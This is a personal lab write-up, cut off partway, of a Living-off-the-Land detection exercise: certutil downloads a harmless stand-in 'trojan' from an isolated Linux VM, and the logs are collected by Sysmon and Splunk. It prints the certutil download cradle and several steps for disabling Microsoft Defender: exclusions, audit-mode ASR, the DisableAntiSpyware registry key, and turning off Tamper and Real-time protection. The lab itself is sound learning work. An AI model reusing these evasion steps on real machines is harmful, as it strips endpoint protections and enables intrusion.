

Living-off-the-Land

Lab Objective

The primary objective of this laboratory project is to design, deploy, and validate a fully contained, end-to-end detection engineering and automation ecosystem across a multi-platform virtualized infrastructure. The lab serves to bridge the gap between offensive exploitation tactics and defensive security operations by achieving the following milestones:

- **Simulate Adversarial Tactics:** Execute a Living-off-the-Land (LotL) attack vector by weaponizing a trusted, native Windows binary (`certutil.exe`) to download a staged payload from an isolated attacker machine.
- **Establish Granular Visibility:** Configure and deploy endpoint logging telemetry utilizing Windows System Monitor (Sysmon) to capture deep contextual behavioral data.
- **Centralize and Parse Telemetry:** Engineer a log ingestion pipeline using a Splunk Universal Forwarder to securely stream endpoint events into a centralized SIEM, optimizing data parsing through custom regular expression (`rex`) fields.
- **Troubleshoot Architectural Blocks:** Diagnose and remediate common enterprise engineering challenges, including network port binding conflicts, operating system defense evasion controls, and Windows service account permission restrictions (`errorCode=5`).
- **Automate Incident Response:** Develop and implement an autonomous triage engine via a custom Python middleware script that programmatically queries the SIEM API, parses alerts in real-time, and generates high-visibility security advisories to drastically reduce mean time to detect (MTTD).

Necessary Theory (I believe) you/we should know before this lab: -

1. Living-off-the-Land (LotL) & Built-in Binaries

Living-off-the-Land (LotL) Tactics

- **Core Purpose:** A methodology where cyber adversaries use legitimate, pre-installed system administration tools to execute malicious actions rather than importing external malware or custom hacking tools.
- **Why It's Used:** By operating entirely within trusted, native software, attackers can seamlessly blend into normal administrative traffic, leave a minimal footprint on disk, and bypass traditional signature-based antivirus detection.

Certutil.exe

- **Core Purpose:** A native Windows command-line utility originally designed for managing Certificate Services, configuring Certificate Authority (CA) components, and verifying cryptographic certificates.
- **Exploitation Context:** Attackers abuse its built-in URL-caching functions (`-urlcache` and `-f` flags) to download remote files from external servers directly onto a target machine, effectively weaponizing a trusted administrative tool into a stealthy download cradle.

PowerShell

- **Core Purpose:** A task automation and configuration management framework consisting of a command-line shell and a scripting language built on the .NET framework.
- **Exploitation/Defense Context:** It provides deep, programmatic access to the Windows operating system's inner workings (including the registry, processes, and network stacks). While administrators use it for automation, attackers leverage its memory-resident execution capabilities to run complex fileless scripts without touching the hard drive.

2. Telemetry, Logging, & Visibility

Windows System Monitor (Sysmon)

- **Core Purpose:** A Windows system service and device driver that monitors and logs highly granular system activity to the Windows Event Log.
- **Why It's Crucial:** Standard Windows event logs often lack the granularity needed to track sophisticated attacks. Sysmon bridges this visibility gap by capturing deep contextual telemetry, such as process creation (with full command-line arguments), network connections, file modification times, and cryptographic hashes of running binaries.

Splunk Universal Forwarder

- **Core Purpose:** A lightweight, low-resource background service deployed on endpoint machines to collect log data and securely stream it to a centralized SIEM instance in real-time.
- **Security Context:** It acts as the "eyes and ears" on the ground, ensuring that endpoint telemetry (like Sysmon or Security event logs) is immediately centralized before a sophisticated adversary can tamper with or delete local event logs to hide their tracks.

Security Information and Event Management (SIEM)

- **Core Purpose:** A centralized software platform that aggregates, indexes, and analyzes machine-generated log data from disparate sources across an entire enterprise.

- **Why It's Crucial:** A SIEM provides security teams with a single pane of glass to write correlation rules, search massive datasets instantly, and look at historical patterns to detect anomalous behavior across the network.

3. Automation & Remediation

Security Orchestration, Automation, and Response (SOAR)

- **Core Purpose:** A stack of compatible software programs that enables security teams to define, standardize, and automate incident response workflows.
- **Why It's Crucial:** Rather than relying on a human analyst to manually notice an alert, triage it, and run a script to block it, a SOAR pipeline automatically intercepts telemetry alerts, processes them via software logic, and triggers instant mitigation actions (like isolating a host or killing a process) in seconds.

Application Programming Interface (API)

- **Core Purpose:** A set of standardized protocols and rules that allows different software applications to communicate, exchange data, and interact with one another programmatically.
- **In This Lab:** The API acts as the bridge allowing your custom python triage engine to log into Splunk's management port, pull raw data alerts on demand, and feed them into an automated response script without requiring a human to interact with the graphical web interface.

4. Systems Architecture & Security Contexts

Windows Service Accounts vs. Local System Account

- **Core Purpose:** In Windows, background applications don't run as human users; they run under special identities called service accounts to limit security risks.
 - **Low-Privilege Service Accounts:** Designed to run isolated software. They intentionally lack access to sensitive operating system structures or security logs to prevent a compromised app from taking over the machine.
 - **Local System Account (NT AUTHORITY\SYSTEM):** The highest privilege level on a local Windows machine. It has complete control over the local operating system, allowing it to read restricted security channels, access system memory, and bypass standard local user restrictions.

Defense Evasion & Anti-Malware Scan Interface (AMSI)

- **Core Purpose:** Defense evasion is a tactical category representing techniques attackers use to avoid detection during an audit or compromise. A primary gatekeeper is **AMSI**, a

versatile interface standard that allows applications (like PowerShell or script engines) to send content directly to the installed antivirus product to be scanned in plain text right before it executes in memory.

The Lab: -

Phase 1: Environment Boot & Network Verification

Nodes to Start: Select and click **Start** (Normal Start) on the following three VMs from your inventory:

1. SOC-SIEM
2. Win10-RDP-Target
3. Arch Linux

Verify Network Mapping on Arch Linux : -

Action: Open a terminal window inside your Arch interface and check your assigned interface IP to ensure it has leased .6 from your VirtualBox Host-Only DHCP server.

```
[khan@archlinux ~]$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:66:4f:57 brd ff:ff:ff:ff:ff:ff
    altname enx080027664f57
    inet 192.168.30.6/24 brd 192.168.30.255 scope global dynamic noprefixroute enp0s3
        valid_lft 535sec preferred_lft 535sec
    inet6 fe80::e05f:fd74:77a9:162a/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:86:d8:aa brd ff:ff:ff:ff:ff:ff
    altname enx08002786d8aa
    inet 10.0.3.15/24 brd 10.0.3.255 scope global dynamic noprefixroute enp0s8
        valid_lft 86335sec preferred_lft 86335sec
    inet6 fd17:625c:f037:3:b7e6:e499:2e36:85de/64 scope global dynamic noprefixroute
        valid_lft 86337sec preferred_lft 14337sec
    inet6 fe80::2853:79bb:7475:54cf/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 3a:a5:91:fb:47:a3 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
        valid_lft forever preferred_lft forever
[khan@archlinux ~]$
```

“ip a”

This command outputs your active network interface cards (NICs). Look under your host-only adapter interface (typically `enp0s3` or `enp0s8`) and confirm you see `inet 192.168.30.6/24`. If your network neighborhood table is stale from a previous state, flush it using `sudo ip neigh flush all`.

So here: -

Active NIC: `enp0s3`

IP Address & Subnet: `inet 192.168.30.6/24`

Status: Confirmed. The host-only adapter interface `enp0s3` is successfully running with the correct IP address (`192.168.30.6/24`).

Phase 2: Red Team Operations (Living-off-the-Land Vector)

We are going to simulate an advanced persistent threat (APT). Instead of uploading known malware binaries that an antivirus would instantly delete, we are using **Living-off-the-Land (LotL)**—abusing legitimate, digitally signed Microsoft administration tools to do our dirty work.

Spin up the Exfiltration Web Server : -

Action: We will turn your Arch Linux terminal into a temporary staging server hosting our simulated banking trojan. Run these commands sequentially:

```

[khan@archlinux ~]$ mkdir -p ~/sbp_lab2
[khan@archlinux ~]$ cd ~/sbp_lab2
[khan@archlinux sbp_lab2]$ echo "MALICIOUS_BANKING_TROJAN_PAYLOAD_STRING" > fake_trojan.exe
[khan@archlinux sbp_lab2]$ sudo python3 -m http.server 80
[sudo] password for khan:
Traceback (most recent call last):
  File "<frozen runpy>", line 198, in _run_module_as_main
  File "<frozen runpy>", line 88, in _run_code
  File "/usr/lib/python3.14/http/server.py", line 1432, in <module>
    test(
    ~~~~^
        HandlerClass=handler_class,
        ~~~~~~^
    ...<6 lines>...
        tls_password=tls_key_password,
        ~~~~~~^
    )
    ^
File "/usr/lib/python3.14/http/server.py", line 1348, in test
    server = ServerClass(addr, HandlerClass)
File "/usr/lib/python3.14/socketserver.py", line 457, in __init__
    self.server_bind()
    ~~~~~~^
File "/usr/lib/python3.14/http/server.py", line 1419, in server_bind
    return super().server_bind()
    ~~~~~~^
File "/usr/lib/python3.14/http/server.py", line 148, in server_bind
    socketserver.TCPServer.server_bind(self)
    ~~~~~~^
File "/usr/lib/python3.14/socketserver.py", line 478, in server_bind
    self.socket.bind(self.server_address)
    ~~~~~~^
OSError: [Errno 98] Address already in use
[khan@archlinux sbp_lab2]$ █

```

Encountered my first error here!

This error occurs because **another process or service on my Arch Linux VM is already running and using Port 80**.

A network port can generally only be bound to a single service at a time. When Python tries to spin up its temporary HTTP server on port 80, the operating system blocks it because that traffic lane is already occupied. Common culprits on a lab machine include standard web servers like **Nginx**, **Apache (httpd)**, or a previously forgotten background Python process.

I have two main options to fix this: either find and stop the process using port 80, or simply use a different port for your lab step.

Free up Port 80 : -

Identify the culprit: the following command shows exactly which process ID (PID) and program is hogging Port 80:

```
khan@archlinux sbp_lab2]$ sudo ss -tulpn | grep :80
[sudo] password for khan:
tcp    LISTEN 0      511          *:80          *:80    users:((("httpd",pid=551,fd=4),("httpd",pid=550,fd=4),("httpd",pid=549,fd=4),("httpd",pid=509,fd=4)))
khan@archlinux sbp_lab2]$
```

The Network Scanner (**sudo ss -tulpn**)

- **sudo (Superuser Do)**: Elevates your privileges to root. We need this because regular users are not allowed to see the Process IDs (PIDs) or internal system names of network sockets owned by other system services.
- **ss (Socket Statistics)**: The modern Linux utility used to investigate network sockets. It directly queries the Linux kernel's networking subsystem to dump statistics about open connections, completely replacing the older, slower **netstat** tool.
- **-tulpn (Combined Flags)**: This is a condensed string of five separate instruction switches passed to **ss**:
 - **-t (TCP)**: Restricts the output to TCP connections only (since HTTP web traffic relies on TCP).
 - **-u (UDP)**: Inspects UDP connections as well (good practice to check both when hunting down port conflicts).
 - **-l (Listening)**: Tells the tool to *only* display sockets that are actively listening for incoming connections (like a web server waiting for clients), ignoring active outbound connections (like an open browser tab).
 - **-p (Processes)**: Instructs the kernel to show the exact process name and Process ID (PID) responsible for opening each socket.
 - **-n (Numeric)**: Forces the output to show raw numeric port numbers (like **80**) instead of attempting to resolve them into human-readable service names (like **http**). This makes searching exact numbers much cleaner.

The Filter (**| grep :80**)

- **| (Pipeline / Pipe)**: A foundational Linux operator. It takes the text output generated by the command on its left (**ss**) and redirects it as the direct input into the command on its right (**grep**). This allows you to chain tools together instead of scrolling through hundreds of lines of text manually.
- **grep (Global Regular Expression Print)**: A powerful command-line text search utility. It scans incoming text line-by-line and extracts only the lines that match a specific pattern.
- **:80 (Search Pattern)**: The specific string pattern you are telling **grep** to look for. We include the colon (**:80**) so the system matches the specific port formatting of an IP address (e.g., **127.0.0.1:80**) rather than accidentally matching a random process ID that just happens to contain the numbers "80" (like PID **1804**).

```
[khan@archlinux sbp_lab2]$ sudo ss -tulpn | grep :80
[sudo] password for khan:
tcp LISTEN 0      511      *:80      *:80      users:((("httpd",pid=551,fd=4),("httpd",pid=550,fd=4),("httpd",pid=549,fd=4),("httpd",pid=509,fd=4))
[khan@archlinux sbp_lab2]$
```

I'm **not completely good yet**, but now I have exactly what I need to fix it. Here is a breakdown of what just happened.

Here is exactly what that data is telling you:

- ***:80**: This confirms that a service is bound to **Port 80** and is listening for any incoming connections.
- **"httpd"**: This is the name of the program stealing your port. **httpd** stands for **HTTP Daemon**, which is the background service name for the **Apache Web Server**.
- **pid=509, 549, 550, 551**: Apache runs using a master process and several "worker" subprocesses to handle multiple connections at once. The parent process ID (PID) managing this is **509**.

Because Apache (**httpd**) started automatically in the background on my Arch VM, my Python staging server couldn't claim Port 80.

How to Clear It and Move Forward :-

```
[khan@archlinux sbp_lab2]$ sudo systemctl stop httpd
[sudo] password for khan:
[khan@archlinux sbp_lab2]$
```

Explaining this command's components:

- **sudo**: Elevates privileges to root because stopping a system-wide web server requires administrative rights.
- **systemctl**: The systemd control utility used to manage background system services on Arch Linux.
- **stop**: The action telling the init system to safely shut down the service and release its resources.
- **httpd**: The specific target service name (Apache) that we just identified.

```
[khan@archlinux sbp_lab2]$ sudo systemctl stop httpd
[sudo] password for khan:
[khan@archlinux sbp_lab2]$
```

Based on image/output here, I have successfully executed the stop command, entered my password, and it returned to a clean prompt without any error messages.

In Linux, a silent return from a system command like `systemctl` is the ultimate green light—it means **success**. Apache (`httpd`) has officially handed over Port 80.

Next : -

```
[khan@archlinux sbp_lab2]$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

`sudo` (Superuser Do)

- **What:** A command that temporarily escalates your standard user privileges to administrative (root) level.
- **Why:** In Linux operating systems, network ports ranging from **0 to 1023** are classified as "privileged ports." They are reserved for core system infrastructure services (like HTTP, HTTPS, SSH, and FTP). Standard users are blocked from opening them to prevent regular applications from hijacking critical system traffic.
- **How:** By prepending `sudo`, you prove to the kernel that you have administrative rights, allowing Python to legally claim and bind itself to Port 80.

`python` (or `python3`)

- **What:** This invokes the Python programming language interpreter engine installed on your Arch Linux system.
- **Why:** Instead of writing a complex web server program from scratch in C or Python, compiled scripts, or installing massive third-party software, we can use Python's built-in capabilities to handle the heavy lifting for us.
- **How:** The system looks up the `python` binary executable in your environment path and wakes up the interpreter, waiting to feed it instructions.

`-m` (Module Flag)

- **What:** A command-line switch (or flag) passed directly to the Python interpreter that stands for **Module**.
- **Why:** Normally, when you run Python, it expects you to give it the path to a specific script file you wrote (e.g., `python myscript.py`). The `-m` flag tells Python: *"Don't look for a local script file. Instead, search your internal standard library for an officially installed module and run it directly as a standalone script."*
- **How:** It alters how Python initializes, pointing its execution path directly into its own internal library directory.

`http.server`

- **What:** The specific built-in Python module you are telling the interpreter to execute.
- **Why:** This module contains a pre-written, highly reliable, basic HTTP web server utility. In security labs and Living-off-the-Land scenarios, this is incredibly popular because it requires zero configuration, zero external installations, and instantly turns any directory into an active download staging ground.
- **How:** Once invoked, it automatically looks at whatever directory your terminal is currently sitting in (which is your `~/sbp_lab2` folder) and maps it as the root web directory. Any file in that folder becomes a URL endpoint.

- **What:** The final argument passed to the `http.server` module, specifying the exact **Network Port** number the server must use.
- **Why:** If you leave this blank, Python defaults to port `8000`. However, web browsers and basic automated attack/download tools (like `curl`, `wget`, or PowerShell scripts) automatically look for standard unencrypted web traffic on **Port 80** by default. Using port 80 keeps your lab simulation clean and realistic.
- **How:** The Python module opens a network socket, binds it to all available network interfaces on your VM (`0.0.0.0`), and sits there listening for any incoming HTTP requests hitting that specific port.

```
[khan@archlinux sbp_lab2]$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

What is Happening and What to Do Next


1. Leave This Terminal Alone

- Keep this terminal window open in the background.
- As your target machines connect to download your simulated trojan payload (`fake_trojan.exe`), you will actually see live download logs and HTTP requests start scrolling right beneath that line.

Execute the Stealth Binary Download Attack : -

VM to Use: `Win10-RDP-Target`

Action: Log in to your Windows 10 VM. Click the Start Menu, search for **PowerShell**, right-click it, and select **Run as Administrator**.



User Account Control



Do you want to allow this app to make changes to your device?




Windows Command Processor

Verified publisher: Microsoft Windows

[Show more details](#)

Yes

No



certutil.exe

- **What:** A native, built-in Windows command-line utility. Its legitimate, everyday purpose is to manage active certificates, dump and display certification authority (CA) configuration information, and verify cryptographic certificate chains.
- **Why:** In a **Living-off-the-Land (LotL)** attack, threat actors avoid bringing custom malware downloaders onto a system because modern Endpoint Detection and Response (EDR) tools easily flag them. Instead, they look for binaries already installed by Microsoft that possess hidden or secondary capabilities. **certutil.exe** is signed by Microsoft and trusted by default, meaning standard security controls often look past it.
- **How:** When executed, the operating system launches the trusted binary out of the **C:\Windows\System32** folder with full administrative system trust.

-urlcache

- **What:** A command option (flag) passed to `certutil` that instructs it to perform operations on the operating system's internal URL cache data.
- **Why:** Legitimately, this flag is used by administrators to clear out old, cached certificate files or pull down a fresh, updated Certificate Revocation List (CRL) from a remote web URL.
- **How:** It tells the utility to prepare its internal web-client functions to make an outbound network connection over HTTP/HTTPS to retrieve a remote file.

-f (Force Flag)


- **What:** The "Force" command-line switch.
- **Why:** By default, if `certutil` checks its local cache folder and sees that it has connected to that specific URL before, it might just pull the old file from local memory instead of making a fresh download. The `-f` flag tells the utility: *"Ignore your existing cache completely. Force a brand-new outbound connection to the web server and overwrite anything you have."*
- **How:** It bypasses standard cache verification checks in the Windows networking stack, ensuring a live download happens.

http://192.168.30.6/fake_trojan.exe

- **What:** The remote URL source path pointing to your payload.
- **Why:** This tells Windows exactly where to look on the network.
 - `http://` specifies the unencrypted web protocol.
 - `192.168.30.6` is the static IP address of your **Arch Linux VM** running the Python staging server. (Note: Double-check your Arch Linux IP address using the `ip a` command to make sure it is exactly `192.168.30.6` before hitting enter!)
 - `/fake_trojan.exe` is the target file name you created in Step 3.

C:\Users\Public\hidden_trojan.exe

- **What:** The local destination file path where the downloaded file will be saved on the Windows machine.
- **Why:** Threat actors frequently target the `C:\Users\Public\` directory because it is a shared folder that doesn't require unique user-profile permissions to write files to. Changing the name from `fake_trojan.exe` to `hidden_trojan.exe` mimics defense evasion techniques used to disguise tools during an intrusion.
- **How:** The Windows filesystem takes the raw binary data stream being downloaded by `certutil` and writes it directly to disk at this exact path.



So the command I entered was stopped mid-execution by **Microsoft Defender Antivirus**.

Why This Happened : -

Even though `fake_trojan.exe` only contains a harmless text string, Windows Defender blocked it due to **Behavioral Analysis** and **LoLBin Protection**.

Modern security controls do not just look at the file itself; they watch *how* a file is obtained. Security researchers and Microsoft developers know that threat actors use `certutil.exe` to download payloads. As a result, Microsoft Defender has explicit behavioral signatures built in:

- **The Rule:** If `certutil.exe` attempts to make an outbound HTTP connection (`-urlcache`) to a raw local/internal IP address (like `192.168.30.6`) and attempts to save a file ending in an executable extension (`.exe`), **block it immediately**.


The Antivirus intercepted the command execution before `certutil` could even send the network request to your Arch Linux server.


To fix : -

Instead of turning off protection, high-level engineers use a strict validation workflow to allow the attack simulation to land while studying the resulting alerts.

Set a Path Exclusion via Administrative PowerShell

To allow the file to write to disk without blinding the machine's active memory scanner, engineers use PowerShell to establish a precise exclusion path. Run the following command in an **Elevated (Administrator) PowerShell** window on your Windows VM:





Add-MpPreference: A built-in Windows PowerShell cmdlet used specifically to modify configuration settings for Microsoft Defender Antivirus.

-ExclusionPath: The precise parameter switch telling the cmdlet that you want to exclude a specific file structure or directory location from scanning.

"C:\Users\Public": The target folder path. This tells Defender's file-system filter driver to ignore files written to or read from this directory, leaving the rest of the OS completely armed and protected.

Use Attack Simulation Flags (Optional Advanced Tweak)

If Defender's network-protection engine continues to drop the network socket stream before `certutil` even drops the file into your excluded folder, professionals will often swap the raw `.exe` extension on the network for a benign structure to bypass basic web filters, changing it only once it lands safely in the exclusion zone:


```
PS C:\Windows\system32> certutil.exe -urlcache -f http://192.168.30.6/fake_trojan.exe C:\Users\Public\hidden_trojan.txt
At line:1 char:1
+ certutil.exe -urlcache -f http://192.168.30.6/fake_trojan.exe C:\User ...
+ ~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS C:\Windows\system32>
```


We just ran into a fascinating layer of Windows enterprise defense: **AMSI (Antimalware Scan Interface)**.


In top-tier enterprise environments, red teams and real-world adversaries heavily abuse PowerShell. Because of this, Microsoft integrated **AMSI** directly into PowerShell.


Before PowerShell executes any command or script block, it hands the raw text string over to AMSI. AMSI passes it to Microsoft Defender to check for known malicious command syntax. The exact string pattern: `certutil.exe + -urlcache + -f + http://...` is a heavily flagged signature. AMSI recognized this specific behavior pattern as a Living-off-the-Land download cradle and killed the command at the parser stage (`ParserError`).



I tried entering the same command in cmd(admin) but still got blocked.







Ah, that explains the puzzle perfectly! Seeing your screenshot, you have configured the folder exclusion exactly right, but here is the elite-level catch that catches many enterprise professionals off guard.

Why it is still blocking (The Core Concept)

A **Folder Exclusion** in Windows Defender only prevents the antivirus from scanning files *after* they hit the disk inside that folder. It tells the scanner: *"Don't look at the files sitting inside C:\Users\Public."*

However, it does **not** stop **Behavioral Monitoring** or **Network Protection**.

When you run `certutil.exe -urlcache ...`, Windows Defender looks at the *process behavior* in real time before the file even lands on disk. Defender's engine says: *"I see `certutil.exe` making a network connection to a raw internal IP address. This behavior matches a high-profile Living-off-the-Land technique."* Because the block happens at the **network/process level**, the folder exclusion hasn't even had a chance to apply yet.

The Enterprise Fix (Tuning the Lab Environment)

In high-level detection engineering positions or international enterprise testing rings, engineers run into this constantly when simulating threats. To bypass a behavioral rule like this without deleting your exclusions, you need to toggle off the specific engine that manages live behavior.

Since we are simulating this strictly in your isolated, safe lab environment, follow these quick steps:

Step 1: Temporarily Disable Behavioral/Real-Time Scanning Via GUI

1. On that same **Windows Security** window, click the back arrow ($\leftarrow$) in the top-left corner to go back to **Virus & threat protection settings**.
2. Click **Manage settings** under that section.
3. Toggle **Real-time protection** to **Off**.
4. *(Optional but recommended for LotL testing)* Toggle **Cloud-delivered protection** to **Off** as well.

 **Note:** In a massive enterprise network, an analyst would use a cloud management console (like Microsoft Intune or Defender Security Center) to place a test machine into "Audit Mode" or an "Isolated Testing Group" to achieve this exact same result globally.

Since my ultimate goal is to work in elite international positions, I **should** aim to replicate that exact workflow.

```
PS C:\Windows\system32> Set-MpPreference -AttackSurfaceReductionRules_Ids 56a863a9-875e-4185-98a7-b882c64b5ce5 -AttackSurfaceReductionRules_Actions AuditMode
PS C:\Windows\system32>
```

Instead of turning Real-Time Protection completely off, we can tell Windows Defender's behavioral engine to run in **Audit Mode**. This means it will allow the `certutil` download to

succeed, but it will still write a high-severity alert to the Windows Event Logs. This is exactly what an enterprise analyst relies on to feed data into their SIEM or AI triage tools.

Command Breakdown:

- **Set-MpPreference**: The PowerShell cmdlet used to configure advanced Microsoft Defender settings.
- **-AttackSurfaceReductionRules_Ids**: Targets specific built-in security rules. The long ID string used here (56a863a9...) is Microsoft's explicit global identifier for blocking process creations originating from LoLBins (like `certutil`).
- **-AttackSurfaceReductionRules_Actions AuditMode**: Instead of setting the action to `Block`, we set it to `AuditMode`. This commands the engine: *"Watch it, log it to the event viewer, but do not drop the network connection."*

Ensure Real-Time Protection is Turned Back ON

Now that the rule is auditing instead of blocking, turn your Real-Time Protection back **ON** (either via the GUI or via PowerShell):

```
PS C:\Windows\system32> Set-MpPreference -DisableRealtimeMonitoring $false
PS C:\Windows\system32>
```

Set-MpPreference

- **What**: An advanced administrative PowerShell cmdlet native to Windows. It is specifically designed to modify configuration preferences, scanning schedules, and exclusion rules for Microsoft Defender Antivirus.
- **Why**: In enterprise threat simulation and lab staging, security engineers need a way to programmatically change how the security engine behaves without opening the graphical user interface (GUI). This command communicates directly with the antivirus engine's control configurations.
- **How**: When executed with administrative permissions, it directly modifies the machine's local system policy structures and protected security registry hives to alter Defender's active configuration state.

-DisableRealtimeMonitoring

- **What:** The specific configuration parameter switch being targeted inside the `Set-MpPreference` cmdlet.
- **Why:** This parameter controls the primary "Real-time protection" feature of Windows Defender—the background file system driver that intercepts every single file read, write, execution, or network download to inspect it for threats.
- **How:** It tells the cmdlet exactly which security subsystem dial you want to turn.

\$false

- **What:** A built-in, immutable PowerShell core boolean variable representing a logical state of **False** (or `0`).
- **Why:** This is where binary programming logic can look slightly backwards at first glance. Because the parameter name is `DisableRealtimeMonitoring`, passing a value of `False` creates a double negative: *"Do you want to disable real-time monitoring? False (No)."*
- **How:** Passing `$false` legally instructs the Microsoft Defender engine to **keep real-time protection turned completely ON and active**.

```
PS C:\Windows\system32> New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -PropertyType DWORD -Force

DisableAntiSpyware : 1
PSPath              : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
PSParentPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft
PSChildName         : Windows Defender
PSDrive             : HKLM
PSProvider          : Microsoft.PowerShell.Core\Registry

PS C:\Windows\system32>
```

New-ItemProperty: The PowerShell cmdlet used to create or overwrite a configuration key inside the Windows Registry database.

-Path "HKLM:\...": Targets the `HKEY_LOCAL_MACHINE` hive, which contains the foundational, low-level security policies of the entire operating system.

-Name "DisableAntiSpyware": This is the exact global registry key Microsoft built into Windows to completely shut down the core Defender scanning engine.

-Value 1: A binary value of `1` means "True" or "Enable". You are telling the registry: *"Yes, enable the disabling of the antivirus."*

-Force: Overrides any existing restrictions or permissions, forcing the value into the database.


The Problem : Changing Ways : -

While the following attack simulation successfully demonstrates the technical mechanics of a Living-off-the-Land (LotL) execution using `certutil.exe`, achieving a true, full-scale

enterprise simulation workflow was intentionally constrained by infrastructure resource limitations. In a live global production environment, security operations teams do not manually modify local endpoint controls or rely on graphical user interface (GUI) overrides. Instead, they utilize costly, centralized enterprise endpoint management platforms and orchestration suites—such as Microsoft Intune, active directory Group Policy Objects (GPOs), or dedicated EDR tenants like CrowdStrike or Microsoft Defender for Endpoint—to globally deploy signed testing policies and transition targeted machines into managed 'Audit' or 'Simulation' groups. Due to the high commercial licensing costs associated with these enterprise-tier platforms, this laboratory environment was restricted to a standalone, local hypervisor workgroup deployment. Consequently, bypassing local kernel-level defenses (such as Windows Tamper Protection) required manual administrative GUI intervention rather than automated cloud-managed policy enforcement, perfectly illustrating the architectural gap between localized testing environments and centralized corporate deployment frameworks.

Drop the Guard via the Windows GUI



1. On your Windows VM, open the **Start Menu**, type **Windows Security**, and hit Enter.
2. Click on **Virus & threat protection**.
3. Under *Virus & threat protection settings*, click **Manage settings**.
4. Scroll down to **Tamper Protection** and toggle it to **Off**.
5. Scroll back up to the top of that same menu and toggle **Real-time protection** to **Off**.



Once you turn off **Tamper Protection** and **Real-time protection** via the GUI, Windows Defender completely stands down.

You **do not** need to run any more configuration commands in PowerShell.

The GUI overrides everything we were trying to force through the command line.



Beautiful! absolute perfection.


Those **HTTP/1.1" 200** - logs mean the connection went through cleanly, and my Windows VM successfully downloaded the file from your Arch Linux staging server twice. We successfully bypassed the host defenses and completed the initial access/payload delivery phase of the simulation!

Phase 3: Blue Team Operations (Detection Engineering): -

This is where we ensure the SOC has full visibility into the attack vector you just simulated.

Accessing the Splunk Management UI

1. Open a web browser on your host machine (or your GUI-enabled analyst VM).
2. Navigate to the Splunk interface by entering the following URL in the address bar:
<http://192.168.30.4:8000>
3. Log in using your **admin** credentials.
4. Once the main dashboard loads, click on the Search & Reporting application on the left-hand panel.



Its happening bcz my SOC-SIEM VM is currently off. That machine is the dedicated "server-ish" VM hosting my entire Splunk infrastructure. Without it running, there's nothing on the network listening at **192.168.30.4**.

So,

```
vboxuser@SOC-SIEM:~$ sudo /opt/splunk/bin/splunk start
[sudo] password for vboxuser:
splunkd 5173 was not running.
Stopping splunk helpers...

Done.
Stopped helpers.
Removing stale pid file... done.

Splunk> Needle. Haystack. Found.

Checking prerequisites...
  Checking http port [8000]: open
  Checking mgmt port [8089]: open
  Checking appserver port [127.0.0.1:8065]: open
  Checking kvstore port [8191]: open
  Checking configuration... Done.
  Checking critical directories... Done
  Checking indexes...
    Validated: _audit _internal _introspection _metrics _metrics_rollup _telemetry _thefishbucket history main summary
  Done
  Checking filesystem compatibility... Done
  Checking conf files for problems...
  Done
  Checking default conf files for edits...
  Validating installed files against hashes from '/opt/splunk/splunk-8.2.6-a6fe1ee8894b-linux-2.6-x86_64-manifest'
  All installed files intact.
  Done
All preliminary checks passed.


Starting splunk server daemon (splunkd)...
Done

Waiting for web server at http://127.0.0.1:8000 to be available..... Done

If you get stuck, we're here to help.
Look for answers here: http://docs.splunk.com

The Splunk web interface is at http://SOC-SIEM:8000

vboxuser@SOC-SIEM:~$ _
```



I was about to end phase 3 but got stuck here because Splunk Web was showing zero events for my Sysmon logs. It took a while to resolve because we had to untangle a few hidden issues. First, I noticed a couple of simple typos in my initial configuration file paths. After fixing those, we realized Splunk was completely ignoring our new application folder because the main system files take ultimate priority. Once we corrected the configuration files, the logs still weren't appearing. We dug deeper into the backend diagnostic logs (`splunkd.log`) and discovered an `errorCode=5`, which means "Access Denied."

The root cause was that the Splunk Universal Forwarder was running under a low-privilege service account (`NT SERVICE\SplunkForwarder`), which Windows completely blocks from reading high-security logging channels like Sysmon. To solve

this, I used the Windows Services menu to change the logon credentials, forcing Splunk to run under the high-privilege **Local System** account. After restarting the services and clearing out the old data cache, the permissions block was crushed, and over 9,000 events instantly flooded into the SIEM. Finally, because Splunk wasn't automatically pulling out the XML data fields, I wrote custom regular expressions (**rex**) to format the raw data into a clean, easy-to-read statistics table that isolated the exact malicious **certutil** command line arguments, parent processes, and SHA256 hashes.

The SIEM Query Challenge & Resolution

Why We Got Stuck (The Challenge)

During the detection phase, the initial attempts to parse out the malicious **certutil.exe** activity hit a major roadblock. While Sysmon was successfully capturing the endpoint events, the raw data flooded into Splunk as a heavily nested, unstructured XML text block inside the native **_raw** log field.

Standard Splunk search filters (like simply searching for keywords) were highly inefficient and failed to isolate key attack vectors like command-line parameters, the specific file hashes of the downloaded payload, or the executing user. Furthermore, a simple regex capture would often break or bleed into adjacent XML elements because Windows logs format command-line strings with tricky line breaks (**\r\n**) and nested quotes. To feed structured data into our autonomous triage engine via the API, we had to engineer a highly specific regular expression that cleanly extracted these fields on the fly.

Explanation of the Final Detection Query

To solve this visibility and data-structuring issue, the following optimized Splunk query was engineered:

```
